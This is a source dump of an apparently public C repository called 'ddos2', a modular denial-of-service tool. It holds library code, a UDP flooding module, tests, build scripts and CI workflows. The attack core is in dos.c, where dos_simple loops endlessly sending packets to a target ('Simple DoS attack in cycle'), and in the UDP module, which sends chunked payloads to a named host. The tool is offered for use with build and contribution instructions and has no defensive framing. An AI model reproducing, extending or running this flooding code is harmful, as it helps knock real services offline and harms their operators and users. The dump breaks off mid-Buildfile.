├── library ├── include │ ├── README.md │ └── ddos2 │ │ ├── cache.h │ │ ├── array.h │ │ ├── ddos2.h │ │ ├── hashtable.h │ │ ├── arguments.h │ │ ├── network.h │ │ └── message.h └── libddos2 │ ├── cache.h │ ├── cache.c │ ├── array.h │ ├── ddos2.h │ ├── hashtable.h │ ├── ddos2.c │ ├── arguments.h │ ├── network.h │ ├── message.c │ ├── array.c │ ├── message.h │ ├── arguments.c │ ├── hashtable.c │ ├── build.sh │ └── network.c ├── util.h ├── .github ├── workflows │ ├── test │ │ ├── Dockerfile │ │ └── action.yml │ ├── core │ │ ├── Dockerfile │ │ └── action.yml │ ├── library │ │ ├── Dockerfile │ │ └── action.yml │ ├── modules │ │ ├── Dockerfile │ │ └── action.yml │ ├── core.yml │ ├── test.yml │ ├── modules.yml │ └── library.yml └── ISSUE_TEMPLATE │ ├── feature_request.md │ └── bug_report.md ├── modules ├── mod_a │ ├── tests │ │ ├── udp.h │ │ └── udp.c │ ├── test.h │ ├── mod_a.c │ ├── test.c │ ├── Buildfile │ └── build.sh └── mod_udp │ ├── util.h │ ├── socket.h │ ├── interface.h │ ├── util.c │ ├── Buildfile │ ├── mod_udp.c │ ├── socket.c │ ├── interface.c │ └── build.sh ├── Dockerfile ├── util.c ├── src ├── commons.h ├── cache.h ├── cache.c ├── array.h ├── hashtable.h ├── commons.c ├── config.h ├── message.c ├── arguments.h ├── array.c ├── network.h ├── message.h ├── module.h ├── main.c ├── hashtable.c ├── module.c ├── network.c └── arguments.c ├── dos.c ├── CONTRIBUTING.md ├── dos.h ├── .gitignore ├── README.md ├── Buildfile ├── CODE_OF_CONDUCT.md └── LICENSE /library/include/README.md: -------------------------------------------------------------------------------- 1 | # Directory with headers only 2 | # DO NOT MODIFY MANUALLY! 3 | -------------------------------------------------------------------------------- /util.h: -------------------------------------------------------------------------------- 1 | #ifndef UTIL_H 2 | #define UTIL_H 3 | 4 | void sleep_ms(int milliseconds); 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /.github/workflows/test/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM bash:3.2 2 | FROM gcc:9 3 | ADD . /build 4 | CMD ["./build.sh", "test"] 5 | -------------------------------------------------------------------------------- /.github/workflows/core/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM bash:3.2 2 | FROM gcc:9 3 | ADD . /build 4 | CMD ["./build.sh", "release"] 5 | 6 | -------------------------------------------------------------------------------- /.github/workflows/library/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM bash:3.2 2 | FROM gcc:9 3 | ADD . /build 4 | CMD ["./build.sh", "library"] 5 | 6 | -------------------------------------------------------------------------------- /.github/workflows/modules/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM bash:3.2 2 | FROM gcc:9 3 | ADD . /build 4 | CMD ["./build.sh", "modules"] 5 | 6 | -------------------------------------------------------------------------------- /modules/mod_a/tests/udp.h: -------------------------------------------------------------------------------- 1 | #ifndef TEST_UDP_H 2 | #define TEST_UDP_H 3 | 4 | void udp_tests_register(void); 5 | void udp_tests_prepare(void); 6 | 7 | #endif 8 | -------------------------------------------------------------------------------- /.github/workflows/core/action.yml: -------------------------------------------------------------------------------- 1 | name: "Build core in docker" 2 | description: "Builds core app using Dockerfile" 3 | 4 | runs: 5 | using: 'docker' 6 | image: 'Dockerfile' 7 | -------------------------------------------------------------------------------- /.github/workflows/library/action.yml: -------------------------------------------------------------------------------- 1 | name: "Build library in docker" 2 | description: "Builds liddos2 using Dockerfile" 3 | 4 | runs: 5 | using: 'docker' 6 | image: 'Dockerfile' 7 | -------------------------------------------------------------------------------- /.github/workflows/modules/action.yml: -------------------------------------------------------------------------------- 1 | name: "Build library in docker" 2 | description: "Builds modules using Dockerfile" 3 | 4 | runs: 5 | using: 'docker' 6 | image: 'Dockerfile' 7 | -------------------------------------------------------------------------------- /.github/workflows/test/action.yml: -------------------------------------------------------------------------------- 1 | name: "Build core in docker" 2 | description: "Builds and tests core app using Dockerfile" 3 | 4 | runs: 5 | using: 'docker' 6 | image: 'Dockerfile' 7 | -------------------------------------------------------------------------------- /modules/mod_udp/util.h: -------------------------------------------------------------------------------- 1 | #ifndef UTIL_H 2 | #define UTIL_H 3 | 4 | #include 5 | 6 | char* hostname2ip(const char* hostname); 7 | uint32_t u32_min(uint32_t a, uint32_t b); 8 | 9 | #endif /*UTIL_H*/ 10 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubunt:xenial 2 | 3 | RUN apt-get update && apt-get upgrade && apt-get install -qy apt-utils 4 | RUN apt-get install gcc git 5 | RUN mkdir /opt/ddos2 6 | RUN git clone https://github.com/Andrewerr/ddos2 /opt/ddos2 7 | RUN cd /opt/ddos2 && ./build.sh all 8 | -------------------------------------------------------------------------------- /util.c: -------------------------------------------------------------------------------- 1 | #include "util.h" 2 | #include 3 | #include 4 | 5 | void sleep_ms(int milliseconds) 6 | { 7 | struct timespec ts; 8 | ts.tv_sec = milliseconds / 1000; 9 | ts.tv_nsec = (milliseconds % 1000) * 1000000; 10 | nanosleep(&ts, NULL); 11 | } 12 | -------------------------------------------------------------------------------- /.github/workflows/core.yml: -------------------------------------------------------------------------------- 1 | name: Core(Ubuntu x86_64) 2 | 3 | on: [push] 4 | 5 | jobs: 6 | build: 7 | 8 | runs-on: ubuntu-latest 9 | 10 | steps: 11 | - name: Checkout 12 | uses: actions/checkout@v1 13 | - name: Build 14 | uses: ./.github/workflows/core/ 15 | 16 | -------------------------------------------------------------------------------- /.github/workflows/test.yml: -------------------------------------------------------------------------------- 1 | name: Test(Ubuntu x86_64) 2 | 3 | on: [push] 4 | 5 | jobs: 6 | build: 7 | 8 | runs-on: ubuntu-latest 9 | 10 | steps: 11 | - name: Checkout 12 | uses: actions/checkout@v1 13 | - name: Test 14 | uses: ./.github/workflows/test/ 15 | 16 | -------------------------------------------------------------------------------- /.github/workflows/modules.yml: -------------------------------------------------------------------------------- 1 | name: Modules(Ubuntu x86_64) 2 | 3 | on: [push] 4 | 5 | jobs: 6 | build: 7 | 8 | runs-on: ubuntu-latest 9 | 10 | steps: 11 | - name: Checkout 12 | uses: actions/checkout@v1 13 | - name: Build 14 | uses: ./.github/workflows/modules/ 15 | 16 | -------------------------------------------------------------------------------- /.github/workflows/library.yml: -------------------------------------------------------------------------------- 1 | name: Library(libddos2@Ubuntu x86_64) 2 | 3 | on: [push] 4 | 5 | jobs: 6 | build: 7 | 8 | runs-on: ubuntu-latest 9 | 10 | steps: 11 | - name: Checkout 12 | uses: actions/checkout@v1 13 | - name: Build 14 | uses: ./.github/workflows/library/ 15 | 16 | -------------------------------------------------------------------------------- /modules/mod_a/test.h: -------------------------------------------------------------------------------- 1 | #ifndef TEST_H 2 | #define TEST_H 3 | 4 | #include 5 | 6 | struct test{ 7 | const char* name; 8 | bool (*perform)(void); 9 | }; 10 | 11 | typedef struct test test_t; 12 | 13 | void tests_begin(void); 14 | void test_add(const char* name, bool (*test_fun)(void)); 15 | void test_all(void); 16 | 17 | #endif 18 | -------------------------------------------------------------------------------- /library/libddos2/cache.h: -------------------------------------------------------------------------------- 1 | #ifndef CACHE_H 2 | #define CACHE_H 3 | #include 4 | #include "array.h" 5 | 6 | typedef struct{ 7 | void* data; 8 | } cache_object_t; 9 | 10 | typedef struct{ 11 | array_t* cached; 12 | } cache_t; 13 | 14 | void cache_begin(cache_t* _cache); 15 | size_t cache_put(void* obj); 16 | void* cache_get(size_t id); 17 | #endif 18 | -------------------------------------------------------------------------------- /library/include/ddos2/cache.h: -------------------------------------------------------------------------------- 1 | #ifndef CACHE_H 2 | #define CACHE_H 3 | #include 4 | #include "array.h" 5 | 6 | typedef struct{ 7 | void* data; 8 | } cache_object_t; 9 | 10 | typedef struct{ 11 | array_t* cached; 12 | } cache_t; 13 | 14 | void cache_begin(cache_t* _cache); 15 | size_t cache_put(void* obj); 16 | void* cache_get(size_t id); 17 | #endif 18 | -------------------------------------------------------------------------------- /src/commons.h: -------------------------------------------------------------------------------- 1 | // 2 | // commons.h 3 | // ddos2 4 | // 5 | // Created by Andre Zay on 19/01/2020. 6 | // Copyright © 2020 Andre Zay. All rights reserved. 7 | // 8 | 9 | #ifndef commons_h 10 | #define commons_h 11 | 12 | #include 13 | 14 | bool is_regular_file(const char *path); 15 | void ch_local_dir(const char* argv0); 16 | 17 | #endif /* commons_h */ 18 | -------------------------------------------------------------------------------- /src/cache.h: -------------------------------------------------------------------------------- 1 | #ifndef CACHE_H 2 | #define CACHE_H 3 | #include 4 | #include "array.h" 5 | 6 | typedef struct{ 7 | void* data; 8 | } cache_object_t; 9 | 10 | typedef struct{ 11 | array_t* cached; 12 | } cache_t; 13 | 14 | extern cache_t* cache; 15 | 16 | void cache_init(void); 17 | size_t cache_put(void* obj); 18 | void* cache_get(size_t id); 19 | #endif 20 | -------------------------------------------------------------------------------- /dos.c: -------------------------------------------------------------------------------- 1 | #include "dos.h" 2 | #include "util.h" 3 | #include "network.h" 4 | 5 | void dos_simple(packet_t* packet,double speed_limit){ 6 | int sleep=0; 7 | if(speed_limit!=0.0){ 8 | sleep=(int)((double)packet->sz/(1000.0*speed_limit)); 9 | } 10 | for(;;){ 11 | if(sleep){ 12 | sleep_ms(sleep); 13 | } 14 | packet_send(packet->iface, packet); 15 | } 16 | } 17 | 18 | -------------------------------------------------------------------------------- /modules/mod_udp/socket.h: -------------------------------------------------------------------------------- 1 | #ifndef SOCKET_H 2 | #define SOCKET_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | int udp_socket(void); 10 | bool udp_sendto(int sock, char* _target,int port, void* payload,size_t size, size_t chunksize); 11 | bool udp_set_timeout(int sock,struct timeval tv); 12 | bool udp_close(int sock); 13 | #endif /* SOCKET_H */ 14 | -------------------------------------------------------------------------------- /library/libddos2/cache.c: -------------------------------------------------------------------------------- 1 | #include "cache.h" 2 | 3 | #include "hashtable.h" 4 | #include "array.h" 5 | #include "message.h" 6 | 7 | //TODO: Thread security 8 | cache_t* cache; 9 | void cache_begin(cache_t* _cache){ 10 | cache=_cache; 11 | } 12 | size_t cache_put(void* obj){ 13 | array_add(cache->cached,obj); 14 | return cache->cached->sz-1; 15 | } 16 | void* cache_get(size_t id){ 17 | return cache->cached->base[id]; 18 | } 19 | 20 | -------------------------------------------------------------------------------- /modules/mod_udp/interface.h: -------------------------------------------------------------------------------- 1 | #ifndef INTERFACE_H 2 | #define INTERFACE_H 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | typedef struct{ 9 | int fd; 10 | time_t open_time; 11 | } udp_descriptor_t; 12 | 13 | extern int64_t chunksize; 14 | 15 | connection_t* udp_connection_open(char* target); 16 | bool udp_packet_send(packet_t* packet); 17 | bool udp_connection_close(connection_t* connection); 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /src/cache.c: -------------------------------------------------------------------------------- 1 | #include "cache.h" 2 | 3 | #include "config.h" 4 | #include "hashtable.h" 5 | #include "array.h" 6 | #include "message.h" 7 | 8 | //TODO: Thread security 9 | cache_t* cache; 10 | void cache_init(void){ 11 | cache=(cache_t*)malloc(sizeof(cache_t)); 12 | } 13 | size_t cache_put(void* obj){ 14 | array_add(cache->cached,obj); 15 | return cache->cached->sz-1; 16 | } 17 | void* cache_get(size_t id){ 18 | return cache->cached->base[id]; 19 | } 20 | 21 | -------------------------------------------------------------------------------- /src/array.h: -------------------------------------------------------------------------------- 1 | // 2 | // array.h 3 | // ddos2 4 | // 5 | // Created by Andre Zay on 08/07/2019. 6 | // Copyright © 2019 Andre Zay. All rights reserved. 7 | // 8 | 9 | #ifndef array_h 10 | #define array_h 11 | 12 | #include 13 | #include 14 | #include 15 | 16 | typedef struct{ 17 | size_t sz; 18 | size_t capacity; 19 | void **base; 20 | } array_t; 21 | 22 | array_t *array_create(int capacity); 23 | void array_add(array_t *_array,void *object); 24 | void array_free(array_t *_array); 25 | bool in_array(array_t *_array, void *object); 26 | 27 | #endif /* array_h */ 28 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing 2 | ## Issues 3 | ### Bugs 4 | Each issue reporting a bug should contain: 5 | * Arguments passed 6 | * Operating system 7 | * Compiler version 8 | * Build messages(from `build.sh`) 9 | * Any specific code that you wrote on your own(e.g. your own modules) 10 | ### Feature requests 11 | Feature requests should contain: 12 | * Module in which they should be implemented(if feature should be implemented in module) 13 | * Description of the feature 14 | ## Code 15 | You should submit your patch as a git branch named after the change.
16 | Also it is reccomended to add summary to each pull request. 17 | -------------------------------------------------------------------------------- /library/libddos2/array.h: -------------------------------------------------------------------------------- 1 | // 2 | // array.h 3 | // ddos2 4 | // 5 | // Created by Andre Zay on 08/07/2019. 6 | // Copyright © 2019 Andre Zay. All rights reserved. 7 | // 8 | 9 | #ifndef array_h 10 | #define array_h 11 | 12 | #include 13 | #include 14 | #include 15 | 16 | typedef struct{ 17 | size_t sz; 18 | size_t capacity; 19 | void **base; 20 | } array_t; 21 | 22 | array_t *array_create(int capacity); 23 | void array_add(array_t *_array,void *object); 24 | void array_free(array_t *_array); 25 | bool in_array(array_t *_array, void *object); 26 | 27 | #endif /* array_h */ 28 | -------------------------------------------------------------------------------- /library/include/ddos2/array.h: -------------------------------------------------------------------------------- 1 | // 2 | // array.h 3 | // ddos2 4 | // 5 | // Created by Andre Zay on 08/07/2019. 6 | // Copyright © 2019 Andre Zay. All rights reserved. 7 | // 8 | 9 | #ifndef array_h 10 | #define array_h 11 | 12 | #include 13 | #include 14 | #include 15 | 16 | typedef struct{ 17 | size_t sz; 18 | size_t capacity; 19 | void **base; 20 | } array_t; 21 | 22 | array_t *array_create(int capacity); 23 | void array_add(array_t *_array,void *object); 24 | void array_free(array_t *_array); 25 | bool in_array(array_t *_array, void *object); 26 | 27 | #endif /* array_h */ 28 | -------------------------------------------------------------------------------- /dos.h: -------------------------------------------------------------------------------- 1 | #ifndef DOS_H 2 | #define DOS_H 3 | 4 | #include 5 | 6 | #include "network.h" 7 | 8 | typedef enum{ 9 | Byte, 10 | KiloBytes, 11 | MegaBytes, 12 | GigaBytes, 13 | TeraBytes 14 | } speed_measure; 15 | 16 | typedef struct{ 17 | double speed;//Speed in bytes 18 | speed_measure measure; 19 | uint32_t refresh_time_ms; 20 | uint32_t duration; 21 | } dos_status_t; 22 | 23 | void dos_simple(packet_t* packet, double speed_limit); 24 | /* 25 | * Simple DoS attack in cycle 26 | * speed_limit -- max value for B/s(0.0 for no limit) 27 | * packet -- information about what and where should be send 28 | */ 29 | 30 | #endif 31 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Additional context** 20 | Add any other context or screenshots about the feature request here. 21 | -------------------------------------------------------------------------------- /library/libddos2/ddos2.h: -------------------------------------------------------------------------------- 1 | #ifndef ddos2_h 2 | #define ddos2_h 3 | 4 | #include "hashtable.h" 5 | #include "cache.h" 6 | 7 | typedef struct{ 8 | hashtable* arguments; 9 | hashtable* network_ifaces; 10 | bool net_stats; 11 | const char* version; 12 | uint8_t* log_byte; 13 | cache_t* cache; 14 | } program_config_t; 15 | 16 | typedef struct{ 17 | // array_t* arguments; 18 | char* name; 19 | char* author; 20 | char* description; 21 | char* version; 22 | } module_config_t; 23 | 24 | //typedef struct _program_config_t program_config_t; 25 | //typedef struct _module_config_t module_config_t; 26 | void ddos2_begin(program_config_t* config); 27 | module_config_t* ddos2_modconfig(char* name, char* author, char* description ,char* version); 28 | #endif 29 | -------------------------------------------------------------------------------- /library/include/ddos2/ddos2.h: -------------------------------------------------------------------------------- 1 | #ifndef ddos2_h 2 | #define ddos2_h 3 | 4 | #include "hashtable.h" 5 | #include "cache.h" 6 | 7 | typedef struct{ 8 | hashtable* arguments; 9 | hashtable* network_ifaces; 10 | bool net_stats; 11 | const char* version; 12 | uint8_t* log_byte; 13 | cache_t* cache; 14 | } program_config_t; 15 | 16 | typedef struct{ 17 | // array_t* arguments; 18 | char* name; 19 | char* author; 20 | char* description; 21 | char* version; 22 | } module_config_t; 23 | 24 | //typedef struct _program_config_t program_config_t; 25 | //typedef struct _module_config_t module_config_t; 26 | void ddos2_begin(program_config_t* config); 27 | module_config_t* ddos2_modconfig(char* name, char* author, char* description ,char* version); 28 | #endif 29 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | **Desktop (please complete the following information):** 27 | - OS: [e.g. iOS] 28 | - Compiler: [e.g. GCC 9] 29 | 30 | **Additional context** 31 | Add any other context about the problem here. 32 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | *.i*86 36 | *.x86_64 37 | *.hex 38 | 39 | # Debug files 40 | *.dSYM/ 41 | *.su 42 | *.idb 43 | *.pdb 44 | 45 | # Kernel Module Compile Results 46 | *.mod* 47 | *.cmd 48 | .tmp_versions/ 49 | modules.order 50 | Module.symvers 51 | Mkfile.old 52 | dkms.conf 53 | 54 | # Mac OS X 55 | .DS_Store 56 | *.xcode* 57 | *.xcodeproj 58 | *.xcworkspace 59 | 60 | # Project 61 | bin/ 62 | obj/ 63 | 64 | # F*cking VIM 65 | *.sw* 66 | -------------------------------------------------------------------------------- /src/hashtable.h: -------------------------------------------------------------------------------- 1 | // 2 | // hashtable.h 3 | // ddos2 4 | // 5 | // Created by Andre Zay on 08/07/2019. 6 | // Copyright © 2019 Andre Zay. All rights reserved. 7 | // 8 | 9 | #ifndef hashtable_h 10 | #define hashtable_h 11 | 12 | #include 13 | #include 14 | 15 | #include "array.h" 16 | 17 | //string hashtable implementation 18 | 19 | typedef struct __hashtable_node{ 20 | char* key; 21 | void* value; 22 | struct __hashtable_node* next; 23 | } _hashtable_node; 24 | 25 | typedef struct{ 26 | size_t sz; 27 | size_t capacity; 28 | _hashtable_node **base; 29 | array_t *keys; 30 | array_t *values; 31 | } hashtable; 32 | 33 | hashtable *hashtbl_create(size_t capacity); 34 | void hashtbl_add(hashtable *tbl, char *key, void *data); 35 | void *hashtbl_get(hashtable *tbl, char *key); 36 | bool hashtbl_check_key(hashtable *tbl,char *key); 37 | void hastbl_destroy(hashtable *tbl); 38 | 39 | #endif /* hashtable_h */ 40 | -------------------------------------------------------------------------------- /library/libddos2/hashtable.h: -------------------------------------------------------------------------------- 1 | // 2 | // hashtable.h 3 | // ddos2 4 | // 5 | // Created by Andre Zay on 08/07/2019. 6 | // Copyright © 2019 Andre Zay. All rights reserved. 7 | // 8 | 9 | #ifndef hashtable_h 10 | #define hashtable_h 11 | 12 | #include 13 | #include 14 | 15 | //#include "ddos2.h" 16 | #include "array.h" 17 | 18 | //string hashtable implementation 19 | 20 | typedef struct __hashtable_node{ 21 | char* key; 22 | void* value; 23 | struct __hashtable_node* next; 24 | } _hashtable_node; 25 | 26 | typedef struct{ 27 | size_t sz; 28 | size_t capacity; 29 | _hashtable_node **base; 30 | array_t *keys; 31 | array_t *values; 32 | } hashtable; 33 | 34 | hashtable *hashtbl_create(size_t capacity); 35 | void hashtbl_add(hashtable *tbl, char *key, void *data); 36 | void *hashtbl_get(hashtable *tbl, char *key); 37 | bool hashtbl_check_key(hashtable *tbl,char *key); 38 | void hastbl_destroy(hashtable *tbl); 39 | 40 | #endif /* hashtable_h */ 41 | -------------------------------------------------------------------------------- /library/include/ddos2/hashtable.h: -------------------------------------------------------------------------------- 1 | // 2 | // hashtable.h 3 | // ddos2 4 | // 5 | // Created by Andre Zay on 08/07/2019. 6 | // Copyright © 2019 Andre Zay. All rights reserved. 7 | // 8 | 9 | #ifndef hashtable_h 10 | #define hashtable_h 11 | 12 | #include 13 | #include 14 | 15 | //#include "ddos2.h" 16 | #include "array.h" 17 | 18 | //string hashtable implementation 19 | 20 | typedef struct __hashtable_node{ 21 | char* key; 22 | void* value; 23 | struct __hashtable_node* next; 24 | } _hashtable_node; 25 | 26 | typedef struct{ 27 | size_t sz; 28 | size_t capacity; 29 | _hashtable_node **base; 30 | array_t *keys; 31 | array_t *values; 32 | } hashtable; 33 | 34 | hashtable *hashtbl_create(size_t capacity); 35 | void hashtbl_add(hashtable *tbl, char *key, void *data); 36 | void *hashtbl_get(hashtable *tbl, char *key); 37 | bool hashtbl_check_key(hashtable *tbl,char *key); 38 | void hastbl_destroy(hashtable *tbl); 39 | 40 | #endif /* hashtable_h */ 41 | -------------------------------------------------------------------------------- /modules/mod_udp/util.c: -------------------------------------------------------------------------------- 1 | #include "util.h" 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | char* hostname2ip(const char* hostname) 12 | { 13 | char* ip = (char*)malloc(16*sizeof(char));//255.255.255.255\0 14 | struct hostent* he; 15 | struct in_addr** addr_list; 16 | int i; 17 | 18 | if ((he = gethostbyname(hostname)) == NULL) { 19 | // get the host info 20 | error("Failed to find host %s", hostname); 21 | return NULL; 22 | } 23 | 24 | addr_list = (struct in_addr**)he->h_addr_list; 25 | 26 | for (i = 0; addr_list[i] != NULL; i++) { 27 | //Return the first one; 28 | strcpy(ip, inet_ntoa(*addr_list[i])); 29 | return ip; 30 | } 31 | return NULL; 32 | } 33 | 34 | uint32_t u32_min(uint32_t a, uint32_t b){ 35 | if(a 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | 20 | bool is_regular_file(const char *path) 21 | { 22 | struct stat path_stat; 23 | stat(path, &path_stat); 24 | return S_ISREG(path_stat.st_mode); 25 | } 26 | 27 | void ch_local_dir(const char* argv0){ 28 | /* 29 | Sets wroking direcotry to executable's directory 30 | */ 31 | char* work_dir=(char*)malloc(sizeof(char)*(strlen(argv0)+1)); 32 | strcpy(work_dir,argv0); 33 | uint64_t i=strlen(work_dir)-1; 34 | for(;i>=0;i--){ 35 | if(work_dir[i]=='/'){ 36 | work_dir[i]='\0'; 37 | break; 38 | } 39 | } 40 | chdir(work_dir); 41 | free(work_dir); 42 | } 43 | -------------------------------------------------------------------------------- /src/config.h: -------------------------------------------------------------------------------- 1 | // 2 | // config.h 3 | // ddos2 4 | // 5 | // Created by Andre Zay on 16/01/2020. 6 | // Copyright © 2020 Andre Zay. All rights reserved. 7 | // 8 | 9 | #ifndef config_h 10 | #define config_h 11 | 12 | #ifdef WIN32 13 | #error Unsupported platform: Windows(WIN32) 14 | #endif 15 | 16 | #define HASHTBL_CAPACITY 256 //Default hashtable capacity 17 | #define ARRAY_CPACITY 1 //Default array capacity 18 | #define DEBUG 1 //Set 1 for debug mode 19 | #define VERSION "2.0a 2 573p5 fr0m h311" //Just version 20 | #define MODULES_DIR "modules/" //Directory where module's so files are stored 21 | #define PATH_MAX_LEN 512 //Max length of path 22 | 23 | #if defined(__clang__) 24 | #define __COMPILER "Clang" 25 | #endif 26 | 27 | #if defined(__GNUC__) && !defined(__COMPILER) 28 | #define __COMPILER "GCC" 29 | #endif 30 | 31 | #ifndef __COMPILER 32 | #warning "Unknown compiler: build may not be supported!" 33 | #define __COMPILER "(Unknown)" 34 | #endif 35 | 36 | #endif /* config_h */ 37 | -------------------------------------------------------------------------------- /modules/mod_a/mod_a.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include "test.h" 12 | #include "tests/udp.h" 13 | 14 | char* mod_name="mod_a"; 15 | char* mod_author="Andrewerr@github.com"; 16 | char* mod_version=""; 17 | char* mod_description="Contains basic tests for modules."; 18 | 19 | module_config_t* mod_on_load(program_config_t* config){ 20 | ddos2_begin(config); 21 | argument_add("--test","Test program features(mod_a)",ARG_BOOL,argbool(false),true,false); 22 | udp_tests_prepare(); 23 | return ddos2_modconfig(mod_name,mod_author,mod_description,mod_version); 24 | } 25 | 26 | void mod_on_run(void){ 27 | if(!(argument_value_get("--test").boolValue)){ 28 | return; 29 | } 30 | info("Performing tests"); 31 | tests_begin(); 32 | /*Register tests here*/ 33 | udp_tests_register(); 34 | /*Perform registered tests*/ 35 | test_all(); 36 | } 37 | 38 | void mod_on_init(void){//Stub 39 | 40 | } 41 | -------------------------------------------------------------------------------- /library/libddos2/ddos2.c: -------------------------------------------------------------------------------- 1 | #include "ddos2.h" 2 | #include "message.h" 3 | #include "arguments.h" 4 | #include "network.h" 5 | #include "cache.h" 6 | 7 | #include 8 | #include 9 | 10 | void ddos2_begin(program_config_t* config){ 11 | arguments_begin(config->arguments); 12 | message_begin(config->log_byte); 13 | network_begin(config->network_ifaces, config->net_stats); 14 | cache_begin(config->cache); 15 | } 16 | 17 | module_config_t* ddos2_modconfig(char* name, char* author, char* description,char* version){ 18 | module_config_t* cfg=(module_config_t*)malloc(sizeof(module_config_t)); 19 | // cfg->arguments=array_create(1); 20 | cfg->name=(char*)malloc(sizeof(char)*strlen(name)+sizeof(char)); 21 | cfg->author=(char*)malloc(sizeof(char)*strlen(author)+sizeof(char)); 22 | cfg->description=(char*)malloc(sizeof(char)*strlen(description)+sizeof(char)); 23 | cfg->version=(char*)malloc(sizeof(char)*strlen(version)+sizeof(char)); 24 | strcpy(cfg->name,name); 25 | strcpy(cfg->author,author); 26 | strcpy(cfg->description,description); 27 | strcpy(cfg->version,version); 28 | 29 | return cfg; 30 | } 31 | -------------------------------------------------------------------------------- /modules/mod_a/test.c: -------------------------------------------------------------------------------- 1 | #include "test.h" 2 | 3 | #include 4 | #include 5 | 6 | array_t* tests=NULL; 7 | 8 | void tests_begin(void){ 9 | tests=array_create(1); 10 | } 11 | 12 | void test_add(const char* name, bool (*test_fun)(void)){ 13 | if(!tests){ 14 | die("Programming error: tests was not initialized[%s:%d]",__FILE__,__LINE__); 15 | } 16 | test_t* test=(test_t*)malloc(sizeof(test_t)); 17 | test->name=name; 18 | test->perform=test_fun; 19 | array_add(tests,test); 20 | } 21 | 22 | void test_all(void){ 23 | if(!tests){ 24 | die("Programming error: tests was not initialized[%s:%d]",__FILE__,__LINE__); 25 | } 26 | int i=0; 27 | info("%d tests to perform",tests->sz); 28 | for(;isz;++i){ 29 | test_t* test=(test_t*)tests->base[i]; 30 | printf("Testing %s...",test->name); 31 | fflush(stdout); 32 | if(test->perform()){ 33 | printf("%s%sOK%s\n",BOLD,OKGREEN,ENDC); 34 | }else{ 35 | printf("%s%sFAIL%s\n",BOLD,FAIL,ENDC); 36 | die("Some tests has failed!"); 37 | } 38 | } 39 | success("All tests passed."); 40 | } 41 | 42 | -------------------------------------------------------------------------------- /modules/mod_udp/Buildfile: -------------------------------------------------------------------------------- 1 | BASEDIR=`pwd` 2 | CC="gcc" 3 | CFLAGS="-c -fPIC -I../../library/include/" 4 | LD="ld" 5 | LD_FLAGS="-ldl" 6 | OBJ_DIR="../../obj/" 7 | BIN_DIR="../../bin/modules/" 8 | LIB_DIR="../../lib/" 9 | EXECUTABLE="mod_udp.so" 10 | 11 | declare -a SOURCES=("util" "socket" "interface" "mod_udp") 12 | 13 | target_configure(){ 14 | info "Performing pre-build configuration and checks" 15 | check_ld_flag "-shared" 16 | code=$? 17 | if [ ! $code -eq 0 ]; then 18 | warn "ld does not support shared. Will try to use gcc instead of ld" 19 | LD="gcc" 20 | fi 21 | } 22 | 23 | target_all(){ 24 | target_configure 25 | info "Building mod_udp." 26 | require_directory $OBJ_DIR 27 | require_directory $BIN_DIR 28 | require_directory $LIB_DIR 29 | for file in "${SOURCES[@]}" 30 | do 31 | exec "${CC} ${CFLAGS} ${file}.c -o ${OBJ_DIR}${file}.o" 32 | done 33 | change_dir $OBJ_DIR 34 | objects=$(printf " %s.o" "${SOURCES[@]}") 35 | exec "${LD} ${LD_FLAGS} -shared -L${BASEDIR}/${LIB_DIR} -o ${BASEDIR}/${BIN_DIR}${EXECUTABLE} ${objects} -lddos2 -lc" 36 | leave_dir 37 | success "Succesfully built mod_udp." 38 | } 39 | -------------------------------------------------------------------------------- /modules/mod_a/Buildfile: -------------------------------------------------------------------------------- 1 | BASEDIR=`pwd` 2 | CC="gcc" 3 | CFLAGS="-c -fPIC -I../../library/include/" 4 | LD="ld" 5 | LD_FLAGS="-shared -ldl" 6 | OBJ_DIR="../../obj/" 7 | BIN_DIR="../../bin/modules/" 8 | LIB_DIR="../../lib/" 9 | EXECUTABLE="mod_a.so" 10 | 11 | 